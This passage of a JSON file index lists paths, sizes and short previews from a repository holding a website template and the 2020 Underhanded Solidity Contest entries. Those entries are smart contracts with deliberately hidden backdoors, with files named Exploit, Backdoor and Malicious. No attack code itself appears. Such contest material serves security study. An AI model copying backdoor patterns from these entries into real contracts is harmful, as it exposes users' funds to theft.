"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/base/_typography.scss",
"chars": 3436,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_actions.scss",
"chars": 1789,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_box.scss",
"chars": 532,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_button.scss",
"chars": 2084,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_contact.scss",
"chars": 312,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2020/assets/sass/components/_features.scss",
"chars": 2001,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_form.scss",
"chars": 5208,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_icon.scss",
"chars": 1210,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_icons.scss",
"chars": 423,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2020/assets/sass/components/_image.scss",
"chars": 886,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_list.scss",
"chars": 909,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_menu.scss",
"chars": 609,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2020/assets/sass/components/_row.scss",
"chars": 631,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_section.scss",
"chars": 744,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_split.scss",
"chars": 1490,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_spotlights.scss",
"chars": 2473,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_table.scss",
"chars": 1398,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/components/_wrapper.scss",
"chars": 2409,
"preview": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 licen"
},
{
"path": "2020/assets/sass/layout/_footer.scss",
"chars": 618,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/layout/_header.scss",
"chars": 1592,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/layout/_intro.scss",
"chars": 627,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/layout/_sidebar.scss",
"chars": 3771,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/layout/_wrapper.scss",
"chars": 522,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/libs/_breakpoints.scss",
"chars": 4577,
"preview": "// breakpoints.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Breakpoints.\n\t/// @var {list}\n\t$breakpoints: () !glo"
},
{
"path": "2020/assets/sass/libs/_functions.scss",
"chars": 1957,
"preview": "/// Removes a specific item from a list.\r\n/// @author Hugo Giraudel\r\n/// @param {list} $list List.\r\n/// @param {integer}"
},
{
"path": "2020/assets/sass/libs/_html-grid.scss",
"chars": 2840,
"preview": "// html-grid.scss v1.0 | @ajlkn | MIT licensed */\r\n\r\n// Mixins.\r\n\r\n\t/// Initializes the current element as an HTML grid."
},
{
"path": "2020/assets/sass/libs/_mixins.scss",
"chars": 2218,
"preview": "/// Makes an element's :before pseudoelement a FontAwesome icon.\r\n/// @param {string} $content Optional content value to"
},
{
"path": "2020/assets/sass/libs/_vars.scss",
"chars": 1040,
"preview": "// Misc.\r\n\t$misc: (\r\n\t\tz-index-base:\t\t10000,\r\n\t\tmax-features:\t\t20,\r\n\t\tmax-sidebar-links:\t20\r\n\t);\r\n\r\n// Duration.\r\n\t$dura"
},
{
"path": "2020/assets/sass/libs/_vendor.scss",
"chars": 7355,
"preview": "// vendor.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Vendor prefixes.\n\t/// @var {list}\n\t$vendor-prefixes: (\n\t\t"
},
{
"path": "2020/assets/sass/main.scss",
"chars": 1367,
"preview": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoin"
},
{
"path": "2020/assets/sass/noscript.scss",
"chars": 916,
"preview": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoin"
},
{
"path": "2020/index.html",
"chars": 13139,
"preview": "<!DOCTYPE HTML>\r\n<!--\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the C"
},
{
"path": "2020/submissions_2020/submission10_MartinHolstSwende/README.md",
"chars": 485,
"preview": "## Malicious upgrader\n\nThis contract implements a contract which stores a `deployer` and `owner`. If the `owner` is unse"
},
{
"path": "2020/submissions_2020/submission10_MartinHolstSwende/test.sol",
"chars": 1248,
"preview": "//SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.1;\n\ncontract test{\n \n address owner = address(0);\n a"
},
{
"path": "2020/submissions_2020/submission11_RobertMCForster/LICENSE.txt",
"chars": 35815,
"preview": " GNU GENERAL PUBLIC LICENSE\r\n Version 3, 29 June 2007\r\n\r\n Copyright (C) 2007 Fr"
},
{
"path": "2020/submissions_2020/submission11_RobertMCForster/README.md",
"chars": 1832,
"preview": "# Timelock Upgrade!\r\n\r\nThis contract is a bulletproof, totally safe way to upgrade the masterCopy of a proxy contract. T"
},
{
"path": "2020/submissions_2020/submission11_RobertMCForster/contracts/BokkyDateTime.sol",
"chars": 14427,
"preview": "pragma solidity ^0.7.0;\r\n\r\n/**\r\n * @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.\r\n**/\r\n\r\n// --"
},
{
"path": "2020/submissions_2020/submission11_RobertMCForster/contracts/Ownable.sol",
"chars": 2369,
"preview": "pragma solidity ^0.7.0;\r\n\r\n/**\r\n * @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.\r\n**/\r\n\r\n/**\r\n"
},
{
"path": "2020/submissions_2020/submission11_RobertMCForster/contracts/TimelockUpgrade.sol",
"chars": 2397,
"preview": "pragma solidity ^0.7.0;\r\n\r\nimport './Ownable.sol';\r\nimport './BokkyDateTime.sol';\r\n\r\n/**\r\n * @notice OOC: Stock BokkyDat"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/Makefile",
"chars": 62,
"preview": "all :; dapp build\nclean :; dapp clean\ntest :; dapp test\n"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/README.md",
"chars": 5074,
"preview": "# Upgradeability via opt-in history and safe relay\n\nThis entry for the Underhanded Solidity contest contains a simple DN"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/LICENSE",
"chars": 35147,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/Makefile",
"chars": 34,
"preview": "all:; dapp build\ntest:; dapp test\n"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/default.nix",
"chars": 85,
"preview": "{ solidityPackage, dappsys }: solidityPackage {\n name = \"ds-test\";\n src = ./src;\n}\n"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/src/test.sol",
"chars": 4719,
"preview": "// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public "
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/out/dapp.sol.json",
"chars": 926270,
"preview": "{\"contracts\":{\"lib/ds-test/src/test.sol:DSTest\":{\"abi\":\"[{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalT"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/DNS.sol",
"chars": 2893,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\nimpo"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/DNSTest.t.sol",
"chars": 6858,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './DNS.sol';\nimpor"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/HEVMCheat.sol",
"chars": 583,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\n\n/// HEVM has a special contract able to change the block ti"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/IDNS.sol",
"chars": 1166,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\n\n/// @title A simple DNS interface.\ninterface IDNS {\n\t/// @n"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/MalDNS.sol",
"chars": 1896,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\nimpo"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/Upgrade.sol",
"chars": 3960,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\n\n///"
},
{
"path": "2020/submissions_2020/submission12_LeonardoAlt/src/UpgradedDNS.sol",
"chars": 2763,
"preview": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\nimpo"
},
{
"path": "2020/submissions_2020/submission13_GregHysen/README.md",
"chars": 3761,
"preview": "### Overview\n\nThis is a submission for the 2020 Underhanded Solidity Competition.\n\n### System Architecture\n\nThis system "
},
{
"path": "2020/submissions_2020/submission13_GregHysen/contracts/Exploit.sol",
"chars": 1141,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Proxy.sol\";\n\ncontract MaliciousApp {\n function pw"
},
{
"path": "2020/submissions_2020/submission13_GregHysen/contracts/FunWithSelectors.sol",
"chars": 577,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.7.0;\n\ncontract FunWithSelectors {\n \n // When written in solidit"
},
{
"path": "2020/submissions_2020/submission13_GregHysen/contracts/Proxy.sol",
"chars": 2767,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\ncontract Proxy {\n \n address public immutable admin;\n "
},
{
"path": "2020/submissions_2020/submission13_GregHysen/contracts/Test.sol",
"chars": 2843,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Proxy.sol\";\n\ncontract FriendlyApp {\n function hel"
},
{
"path": "2020/submissions_2020/submission14_MariusVanDerWijden/ECDSA.sol",
"chars": 3680,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity >= 0.7.0;\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDS"
},
{
"path": "2020/submissions_2020/submission14_MariusVanDerWijden/Proxy.sol",
"chars": 3162,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity >= 0.7.0;\n\n/**\n * @dev This abstract contract provides a fallback funct"
},
{
"path": "2020/submissions_2020/submission14_MariusVanDerWijden/README.md",
"chars": 2887,
"preview": "## WARNING This contract was built for the underhand solidity contest. It contains a security flaw, please don't use it!"
},
{
"path": "2020/submissions_2020/submission14_MariusVanDerWijden/RelayContract.sol",
"chars": 3910,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity >= 0.7.0;\n\nimport \"./ECDSA.sol\";\nimport \"./Proxy.sol\";\n\ncontract RelayC"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/.gitignore",
"chars": 45,
"preview": "node_modules\n\n#Hardhat files\ncache\nartifacts\n"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/README.md",
"chars": 2624,
"preview": "# VampireSwap\n\n\nVlad is the pseudonymous founder of the hyped new DeFi project, VampireS"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/ERC20.sol",
"chars": 10910,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimpor"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Governance.sol",
"chars": 155,
"preview": "pragma solidity 0.7.3;\n\ncontract Governance {\n // Governance functionality omitted\n // This contract can be assume"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Proxy.sol",
"chars": 3992,
"preview": "pragma solidity 0.7.3;\n\ninterface Initializable {\n function initialize(address _admin) external;\n}\n\ncontract Proxy {\n"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Token.sol",
"chars": 375,
"preview": "pragma solidity 0.7.3;\n\nimport \"./ERC20.sol\";\n\ncontract Token is ERC20 {\n function initialize(address _admin) externa"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/spoilers/Backdoor.sol",
"chars": 1785,
"preview": "contract Backdoor {\n // Copy of ERC20 state\n mapping (address => uint256) private _balances;\n\n mapping (address"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/hardhat.config.ts",
"chars": 542,
"preview": "import { task } from \"hardhat/config\"\nimport \"@nomiclabs/hardhat-waffle\"\n\n// This is a sample Hardhat task. To learn how"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/package.json",
"chars": 515,
"preview": "{\n \"name\": \"hardhat-project\",\n \"scripts\": {\n \"test\": \"hardhat test\"\n },\n \"devDependencies\": {\n \"@nomiclabs/har"
},
{
"path": "2020/submissions_2020/submission15_ChrisWhinfrey/test/spoiler/exploit.test.ts",
"chars": 1462,
"preview": "import '@nomiclabs/hardhat-waffle'\nimport { ethers } from 'hardhat'\nimport { expect } from 'chai'\n\ndescribe('Exploit', f"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/AddressSet.sol",
"chars": 1023,
"preview": "pragma solidity 0.7.0; \n\n/* \nFor managing user impl. address preferences\n*/\n\nimport \"./Ownable.sol\";\n\nlibrary AddressSet"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/ERC20V1.sol",
"chars": 1483,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Upgradable.sol\";\n\ncontract ERC20V1 is Upgradable {\ns"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/Malicious.sol",
"chars": 1508,
"preview": "pragma solidity 0.7.0;\n\ncontract Malicious {\nstring public name;\nstring public symbol;\nuint public decimals;\nuint public"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/Ownable.sol",
"chars": 2166,
"preview": "pragma solidity 0.7.0;\n\n/**\n * @title Ownable\n * @dev The Ownable contract has an owner address, and provides basic auth"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/Proxy.sol",
"chars": 2620,
"preview": "pragma solidity 0.7.0;\n\nimport \"./Registry.sol\";\n\ncontract Proxy {\n \n bytes32 private constant REGISTRY_ADDRESS_KE"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/README.md",
"chars": 1574,
"preview": "# The Proxy Backdoor\n\n## Summary\nThe overall structure of this backdoor follows a opt in - opt out mechanism governed by"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/Registry.sol",
"chars": 6604,
"preview": " pragma solidity 0.7.0;\n\n/**\n * @title Registry\n * @author Rob Hitchens\n * @notice Trustless upgradable contract impleme"
},
{
"path": "2020/submissions_2020/submission16_VirajMalhotra/Upgradable.sol",
"chars": 474,
"preview": "pragma solidity 0.7.0;\n\n \ninterface UpgradableInterface {\n function componentUid() external returns(bytes32);\n}\n\ncont"
},
{
"path": "2020/submissions_2020/submission1_CoreyDickson/Attack.sol",
"chars": 441,
"preview": "pragma solidity ^0.6.0;\n\nimport \"./Target.sol\";\nimport \"./OwnerRegistry.sol\";\n\ncontract Attack {\n Target public targe"
},
{
"path": "2020/submissions_2020/submission1_CoreyDickson/OwnerRegistry.sol",
"chars": 901,
"preview": "//SPDX-License-Identifier: Unlicense\npragma solidity ^0.6.0;\n\nimport \"hardhat/console.sol\";\nimport \"@openzeppelin/contra"
},
{
"path": "2020/submissions_2020/submission1_CoreyDickson/README.md",
"chars": 1352,
"preview": "# Getting Started\n\nRun `npm install`\n\nTo compile and view the single test case of the borked code run `npm run test`\n\n\n#"
},
{
"path": "2020/submissions_2020/submission1_CoreyDickson/Target.sol",
"chars": 314,
"preview": "pragma solidity ^0.6.0;\n\ncontract Target {\n address nextOwner;\n\n constructor(address _nextOwner) public {\n ne"
},
{
"path": "2020/submissions_2020/submission2_SohamZemse/GiveAway_v1.sol",
"chars": 792,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport { Proxiable } from \"./Proxiable.sol\";\n\ncontract GiveAwa"
},
{
"path": "2020/submissions_2020/submission2_SohamZemse/GiveAway_v2.sol",
"chars": 829,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport { Proxiable } from \"./Proxiable.sol\";\n\ncontract GiveAwa"
},
{
"path": "2020/submissions_2020/submission2_SohamZemse/Proxiable.sol",
"chars": 846,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n// EIP-1822 Universal Upgradeable Proxy Standard\ncontract Prox"
},
{
"path": "2020/submissions_2020/submission2_SohamZemse/Proxy.sol",
"chars": 1442,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n// EIP-1822 Universal Upgradeable Proxy Standard\ncontract ERCP"
},
{
"path": "2020/submissions_2020/submission2_SohamZemse/README.md",
"chars": 3104,
"preview": "# Give Away :: Solidity Underhand Submission\n\nThis is a submission for [Solidity Underhand Contest](https://underhanded."
},
{
"path": "2020/submissions_2020/submission3_AlexanderWade/Dispatcher.sol",
"chars": 6000,
"preview": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\nimport \"./interfaces/OptInContract.sol\";\nimport \"./inter"
},
{
"path": "2020/submissions_2020/submission3_AlexanderWade/README.md",
"chars": 7993,
"preview": "# EIP-42000: Dispatcher-based upgradability\n\nWe are pleased to introduce the revolutionary new Dispatcher-Based Upgradea"
},
{
"path": "2020/submissions_2020/submission3_AlexanderWade/erc20/erc20v1.sol",
"chars": 4755,
"preview": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\ncontract ERC20V1 {\n \n uint public totalSupply;\n "
},
{
"path": "2020/submissions_2020/submission3_AlexanderWade/erc20/erc20v2.sol",
"chars": 5397,
"preview": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\nimport \"./erc20v1.sol\";\n\ncontract ERC20V2 {\n \n uin"
},
{
"path": "2020/submissions_2020/submission3_AlexanderWade/interfaces/OptInContract.sol",
"chars": 617,
"preview": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\n/**\n * Allows users to explicitly opt in and out of upgr"
},
{
"path": "2020/submissions_2020/submission3_AlexanderWade/interfaces/VersionContract.sol",
"chars": 841,
"preview": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\n/**\n * Allows the owner of an app's version to publish a"
},
{
"path": "2020/submissions_2020/submission4_JaimeIglesias/ERC20.sol",
"chars": 4892,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"../libraries/SafeMath.sol\";\n\ncontract ERC20 {\n usin"
},
{
"path": "2020/submissions_2020/submission4_JaimeIglesias/README.md",
"chars": 4750,
"preview": "## Very Safu Proxy\n\nJust a proxy that uses unstructured storage to store the following values:\n\n - implementation (the "
},
{
"path": "2020/submissions_2020/submission4_JaimeIglesias/VerySafuProxyTrustMe.sol",
"chars": 7795,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ncontract VerySafuProxyTrustMe {\n \n // storage slot where "
},
{
"path": "2020/submissions_2020/submission5_WilliamEntriken/README-WITH-SPOILERS.md",
"chars": 5001,
"preview": "# README (INCLUDES SPOILERS)\n\n## Setup\n\nFirst of all, deploying and upgrading contracts is a slow and careful process.\n\n"
},
{
"path": "2020/submissions_2020/submission5_WilliamEntriken/deployment.md",
"chars": 3090,
"preview": "# Deployment Scenario\n\nYou would perform all these actions using Remix JavaScript VM and the \"Account 1\" it creates for "
},
{
"path": "2020/submissions_2020/submission5_WilliamEntriken/main.sol",
"chars": 5352,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity >=0.7.0;\npragma experimental ABIEncoderV2; // Required for Diamond Stand"
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/README.md",
"chars": 1943,
"preview": "# Solidity Underhanded 2020\n\n## Upgradable Libraries\n\nSolidity libraries can be linked at deploy time to minimize a cont"
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/buidler.config.ts",
"chars": 499,
"preview": "import { usePlugin } from \"@nomiclabs/buidler/config\";\n\nusePlugin(\"@nomiclabs/buidler-ganache\");\nusePlugin(\"@nomiclabs/b"
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/contracts/Accounts.sol",
"chars": 3081,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"@nomiclabs/buidler/console.sol\";\n\n/**\n * @dev Simple re"
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/contracts/Registry.json",
"chars": 1695,
"preview": "{\n \"contractName\": \"Registry\",\n \"abi\": [\n {\n \"inputs\": [],\n \"name\": \"get\",\n \"outputs\": [\n {\n "
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/package.json",
"chars": 1035,
"preview": "{\n \"name\": \"solidity-underhanded-2020\",\n \"version\": \"1.0.0\",\n \"main\": \"index.js\",\n \"license\": \"MIT\",\n \"scripts\": {\n"
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/test/upgrade.test.ts",
"chars": 2268,
"preview": "import { ethers } from \"@nomiclabs/buidler\";\nimport { Signer } from \"ethers\";\nimport chai from \"chai\";\nimport { solidity"
},
{
"path": "2020/submissions_2020/submission6_GregoryHill/tsconfig.json",
"chars": 651,
"preview": "{\n \"compilerOptions\": {\n \"target\": \"es5\",\n \"module\": \"commonjs\",\n \"strict\": true,\n \"esModuleInter"
},
{
"path": "2020/submissions_2020/submission7_MarkusWaas/GovernanceModule.sol",
"chars": 1706,
"preview": "contract GovernanceModule {\n TestERC20 public managedToken;\n \n mapping(uint256 => address) public proposals;\n "
},
{
"path": "2020/submissions_2020/submission7_MarkusWaas/Proxy.sol",
"chars": 2383,
"preview": "contract Proxy {\n bytes32 private constant IMPLEMENTATION_POSITION = keccak256(\"implementation.address\");\n bytes32"
},
{
"path": "2020/submissions_2020/submission7_MarkusWaas/README.md",
"chars": 1053,
"preview": "# Solidity Submission\n\n## Not so decentralized token contract\n\nWe want to create an upgradable token contract that is ma"
},
{
"path": "2020/submissions_2020/submission7_MarkusWaas/TestERC20.sol",
"chars": 1239,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity 0.7.4;\n\nimport \"http://github.com/OpenZeppelin/openzeppelin-contracts/bl"
},
{
"path": "2020/submissions_2020/submission8_RichardMoore/Multisig.sol",
"chars": 3283,
"preview": "\ninterface Proxyable {\n function doPublicSomething() external returns (uint256);\n}\n\n// This is meant to be the simple"
},
{
"path": "2020/submissions_2020/submission8_RichardMoore/README.md",
"chars": 4205,
"preview": "Underhanded Solidity Coding Contest - 2020\n==========================================\n\nWelcome to my 2020 submission to "
},
{
"path": "2020/submissions_2020/submission8_RichardMoore/Upgradable.sol",
"chars": 2414,
"preview": "\ninterface ProxyMultisig {\n function getTargetAddress() external returns (Proxyable);\n}\n\n\ninterface Proxyable {\n f"
},
{
"path": "2020/submissions_2020/submission8_RichardMoore/deploy.txt",
"chars": 6552,
"preview": "const fs = require(\"fs\");\n\nconst { solc } = require(\"@ethersproject/cli\");\nconst { ethers } = require(\"ethers\");\n\n// I u"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/LICENSE",
"chars": 1056,
"preview": "MIT License\n\nCopyright (c) 2018\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this so"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/README.md",
"chars": 3741,
"preview": "# Superior Proxy\n\nIt will exploit this bug:\nhttps://solidity.ethereum.org/2020/10/07/solidity-dynamic-array-cleanup-bug/"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/Address.sol",
"chars": 6078,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev Collection of functions related to the address typ"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/Context.sol",
"chars": 933,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/*\n * @dev Provides information about the current execution co"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/IERC20.sol",
"chars": 306,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the "
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/Ownable.sol",
"chars": 2212,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Context.sol\";\n/**\n * @dev Contract module which prov"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/PokeToken.sol",
"chars": 782,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"./IERC20.sol\";\n\ncontract PokeToken is IERC20 {\n uin"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/PokeTokenV2.sol",
"chars": 740,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"./IERC20.sol\";\n\ncontract PokeTokenV2 is IERC20 {\n u"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/Proxy.sol",
"chars": 3161,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev This abstract contract provides a fallback functio"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/Superior.sol",
"chars": 3076,
"preview": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"./IERC20.sol\";\n\ncontract Superior {\n \n mapping(b"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/SuperiorTransparentUpgradableProxy.sol",
"chars": 1409,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./TransparentUpgradeableProxy.sol\";\nimport \"./Superior"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/TransparentUpgradeableProxy.sol",
"chars": 5260,
"preview": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./UpgradeableProxy.sol\";\n\n/**\n * @dev This contract im"
},
{
"path": "2020/submissions_2020/submission9_LuizSoares/contracts/UpgradeableProxy.sol",
"chars": 2652,
